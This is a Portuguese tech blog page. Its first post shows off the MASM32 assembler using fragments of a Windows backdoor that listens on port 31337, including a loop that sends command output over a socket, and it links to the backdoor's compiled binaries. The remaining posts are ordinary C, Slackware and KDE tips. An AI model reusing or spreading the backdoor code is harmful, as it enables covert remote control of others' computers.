Meditação ASM: MASM32 o controverso compilador para win32

Pessoal,

Estou divulgando aqui o compilador MASM32 para windows.

( Ref: http://www.masm32.com )

Ele possui umas features interessantes que o tornam muito bom para fazer programas minúsculos.

Tenho um exemplo de programa que é um backdoor para Windows feito pelo WhiteScorpion ele roda na porta 31337.

Este Exemplo é apenas para ilustrar o compilador dá pra ver as features do MASM32 pois é em um programa bastante simples e pequeno que usa recursos de TCP/IP.

Uma das coisas interessantes no MASM32, é que ele implementa um conjunto de pseudo instruções que facilitam muito a vida do programador.

Em Assembly, normalmente, você tem que criar os IFs, criar os WHILEs e todas as estruturas de loop e de condicionais de forma artesanal escrevendo tudo na unha usando as instruções e flags do processador..

Mas as pseudo instruções do MASM32 criam tudo isso para você e sem stress.

Vejam:

.IF eax==SOCKET_ERROR

    invoke WSACleanup

    invoke ExitProcess,eax

.ENDIF

Ele já cria a comparação para o registrador eax sem você ter que esquentar a cabeça. E olhe este WHILE:

.WHILE bytesRead>=1023

        invoke ReadFile,readout,addr bufferout,1023,addr bytesRead,NULL

        invoke lstrlen,addr bufferout

        invoke send,remsock,addr bufferout,eax,0

        mov eax,offset bufferout

        mov ecx,sizeof bufferout

zeromem2:

        mov byte ptr [eax],0

        inc eax

        dec ecx

        test ecx,ecx

        jnz zeromem2

.ENDW

Ele ainda entende os sinais de >,<.>=<= e != . Sem você ter que fazer isso tudo na unha.

Muito mais simples, não é mesmo ?

Qual a vantagem de usar Assembly e não usar um C por exemplo ?

Programas minúsculos, conhecimento do sistema maiúsculo e é muito mais sexy.

Todas as pseudo instruções são precedidas de ponto e dá pra criar macros ainda mais complexas.

Vocês podem pegar o programa exemplo que inclusive é funcional e tem os binários já compilados em: http://www.koflinux.com.br/backdoor.zip

A última e mais polêmica coisa sobre o MASM32 é que o autor é avesso ao GPL. Apesar do MASM32 ser freeware e você puder usa-lo como te der na telha. O autor NÃO quer que se produza programas sob a GPL usando o compilador.

Ah, ia me esquecendo, o programa exemplo que eu passei como exemplo está sob a GPL …

Vejam o que é dito no site do cara:

Exclusion of open source projects and software.

The MASM32 project cannot be used to create open source software or any other project under any form of licence that requires the user of the MASM32 project to surrender the rights they are afforded under the MASM32 licence. In particular the MASM32 licence completely excludes projects licenced under the GNU organisation’s published GPL licence and/or variants.

Fazendo um Desktop Encriptado com Slackware Linux 13.x

A idéia é simples. Um laptop com Slackware Linux pode ser roubado e então todos os seus arquivos podem ficar disponíveis a qualquer um.

Com este método e este script você pode ter um linux com uma segurança melhorada e automatizada. Já que o diretório do usuário fica encriptado por uma senha e somente com ela pode-se montar o diretório.

A primeira coisa a fazer é colocar o Slackware para iniciar em init 3.

Basta editar o /etc/inittab e colocar:

id:3:initdefault:

Isto é feito pois nosso script vai substituir o modo normal de login via kdm.

Continuar lendo

ABC++ Criando variáveis em qualquer lugar.

Em C não se pode criar variáveis no meio do programa.
Deve-se que cria-las somente no início das funções, Certo ?
Errado !

Isso é para Pascal que é amarrado, em C você pode criar as variáveis onde quiser.
Só precisa de um bloco de código que inicia co ‘{‘ (abre chaves) e termina com ‘}’ (fecha chaves).
Ou seja vc pode colocar entre um for(…){ }  entre um while(…) {  } ou até entre um bloco de programa composto apenas de ‘{‘ e ‘}’ …

Assim são válidas as seguintes formas de criar variáveis:

// estude com cuidado este exemplo pois os whiles tem pontos que podem causar bugs lógicos terríveis
//fique atento.
#include <stdio.h>

main(){
        int z=0;
        // neste while o x é zerado toda vez que dá loop
        while(z<=3){
                int x=10; // o valor de x volta a ser 10 noloop.
                printf("x somente existe neste bloco (x=%d)\n",x);
                x++;
                z++;
        }

        // neste while o x não é zerado.
        z=0;
        while(z<=3){
                int x; // o valor de x não é zerado no loop.
                if (z==0) x=0;
                printf("x somente existe nste bloco (x=%d)\n",x);
                x++;
                z++;
        }

        {
                int i;
                for(i=0;i<10;i++){
                        int y=0;
                        printf("i:%d y:%d\n",i,y);

                }
        }
}

Só uma coisa depois do ‘}’ fecha chaves o programa desconhece a variável, ela só vale para dentro daquele bloco. ou seja, é uma variável local do bloco e se for referenciada fora do bloco trata-se de OUTRA variável e não a mesma.
Por exemplo:

#include <stdio.h>
main(){
        int x=10;

        printf("x vale:%d\n",x);

        {
                int x=123;
                printf("x vale:%d\n",x);
        }

        printf("x vale:%d\n",x);
}

Nesse exemplo o x vale 123 somente dentro do bloco onde ele é referenciado, fora ele vale 10... o resultado pro programa é:
x vale:10
x vale:123
x vale:10

Também deve-se observar que dentro de um loop se declaramos um valor inicial á variável este valor inicial é novamente carregado na variável assim que ocorrer o loop.
Isso não deve ser esquecido (ler primeiro exemplo de código com cuidado).

Imagine agora que você tem um programa com uma função que é pequena e você só usa uma vez. e você quer refatorar e colocar esta função dentro do programa principal.
Basta copiar o conteúdo da função dês do ‘{‘ até o ‘}’. Não tem que mover as variáveis locais para fora nem nada disso. Somente tem que passar os parâmetros de outra forma mudando o nome das variáveis de parâmetro para os valores ou variáveis do programa principal.

Esite um outro uso: Alguns trechos do programa exigem variáveis que somente serão usadas naquele lugar. Então não é necessário declarar as variáveis lá no inicio da função ou como global. Você pode declarar dentro do bloco local. Isso é bom para usar a memória somente quando necessário.

ABC++: Função que testa Expressão Regular.

int regexcmp(char *myregex, char *entrada) {
        /* aloca espaço para a estrutura do tipo regex_t */
        regex_t reg;

        /* compila a ER passada em (a)
         * em caso de erro, a função retorna diferente de zero
         */
        if (regcomp(&reg, myregex, REG_EXTENDED | REG_NOSUB) != 0) {
                fprintf(stderr, "erro regcomp\n");
                exit(1);
        }

        /* tenta casar a ER compilada (&reg) com a entrada
         *  se a função regexec retornar 0 casou, caso contrário não
         */
        return regexec(&reg, entrada, 0, (regmatch_t *) NULL, 0);
}// Fim da função

// exemplo de uso
//-----------------------------------------------------------------------------------
void main(int argc, char *argv[]){

        if(!regexcmp("<[[:alnum:]]+>", argv[1])){
                printf("Tem tags XML\n");
        }else{
                printf("Não tem tags XML");
        }
}

ABC++ Coletando lixo do C (Garbage colector para C e C++)

/*
Pessoal,

Todos que usam C e C++ com mais seriedade sabem que a utilização da
memória pode ser um problema.
Matreizes dinâmicas, ponteiros de char e tudo o mais que pode crescer
e explodir o programa.
Não seria bom se a linguagem C tivesse um recurso para controlar a
memória ? Em alguns projetos, sim. Em outros é bom ter um controle
manual da memória.
Tudo que é automático falha automaticamente.
Mas e se fosse possível usar este recurso sempre que for conveniente
sem perder o poder de poder fuçar na unha quando for necessário ?

Hmmmm agora estamos falando como programadores de verdade!

A linguagem C é extensível e existe como adicionar uma lib que faça o
sujo trabalho de coletar o lixo para nós.

Sim, a biblioteca de GC (Garbage Colector),  possui um algoritmo de
"limpeza" de memória e basicamente você não vai ficar perdido em meio
a funções free() não finalizadas e também vai ter uma indicação melhor
em tempo de execução se alguma área de memória explodiu, e onde.
Isso dá uma grande agilidade e poder de depuração.
Bom, as referências dessa lib: Está hospedada e mantida pela HP. É
usada no projeto Mozilla, Inkscape, Mono e vários projetos.
Abaixo um simples exemplo de programa devorador de memória alocada e
como ele fica simples feito com a lib.
Vejam que basta utilizar GC_MALLOC() no lugar do mal-loco() original
ou seja a lib possui interface com o esquema de alocação de memória
feito por programadores cabra-macho sim senhor.
E notem também que o free() foi pra /dev/null

*/

//Exemplo de utilização da biblioteca. loop.c

#include "gc.h"
#include <assert.h>
#include <stdio.h>

int main()
{
        int i;

        GC_INIT();    /* Optional on Linux/X86; see below.  */
        for (i = 0; i < 10000000; ++i)
        {
                int **p = (int **) GC_MALLOC(sizeof(int *));
                int *q = (int *) GC_MALLOC_ATOMIC(sizeof(int));
                assert(*p == 0);
                *p = (int *) GC_REALLOC(q, 2 * sizeof(int));
                if (i % 100000 == 0)
                        printf("Heap size = %d\n", GC_get_heap_size());
        }
        return 0;
}
//EOF

// Compilação:
// cc -I/home/xyz/gc/include loop.c /home/xyz/gc/lib/libgc.a -o loop

//Referencias da lib:
//http://www.hpl.hp.com/personal/Hans_Boehm/gc/
//http://www.hpl.hp.com/personal/Hans_Boehm/gc/simple_example.html

Nerdicas 11 – Aproveitando melhor seu monitor widescreen

Os monitores widescreen são ótimos para ver filmes e vídeos, mas para editar textos, programar e criar webpages mostram bem poucas linhas e “desperdiçam” muito espaço lateral.

Mas com um pequeno suporte de madeira podemos colocar o monitor a 90 graus e aproveitar a largura dele como se fosse altura .

Fica como aqueles monitores de Arcade antigos.

No KDE fica fácil ajustar a tela para que ela funcione “de lado” a 90 graus.
Crie um script e coloque em:

~/.kde/Autostart com a seguinte linha:

#!/bin/bash
/usr/bin/kdialog --yesno "Virar tela 90%"
if [  "$?" == "0" ] ; then
/usr/bin/xrandr -o 1
fi

.

Isso gera um popup no KDE perguntando se deseja virar o vídeo a 90 toda vez que logamos no kde.
Um <enter> vira a tela e um <esc> sai do popup.

Na imagem como ficou meu “novo monitor de programação”:

Nerdicas 7 – Assistindo uma série inteira com o mplayer

Alguns animes tem aberturas que uma vez vistas não se deseja vê-las mais.

Principalmente se você está assistindo uma série inteira. É chato ficar teclando  para pular a apresentação. Você tem que ir pra frente e voltar algumas vezes para não perder pedaços…Enfim, dá preguiça ! Continuar lendo

Criando um pendrive para instalar o Slackware 13

Hoje em dias os pendrives estão ficando cada vez maiores em capacidade e mais baratos. Se você tem um pendrive a partir de 2Gb, pode faze-lo ser um Pendrive instalador de Slackware.

A seguir passarei os passos para criar um pendrive “bootavel” para instalar o Slackware em dispositivos sem CD ou DVD ou mesmo para reparar instalações danificadas: Continuar lendo

Nerdicas 6 – O comando date

O date é um comando que sempre foge á memória, pois seu formato é um pouco prolixo.
Vamos ser sinceros, todos já erramos na sintaxe desse monstinho !
Normalmente eu uso o ntpdate para acertar hora e data e mando o date as favas. Mas nem sempre isso é possível.

Vou passar a dica rápida para alterar a data do linux sem ter que mexer nas horas e minutos e como alterar as horas e minutos sem mexer na data. Continuar lendo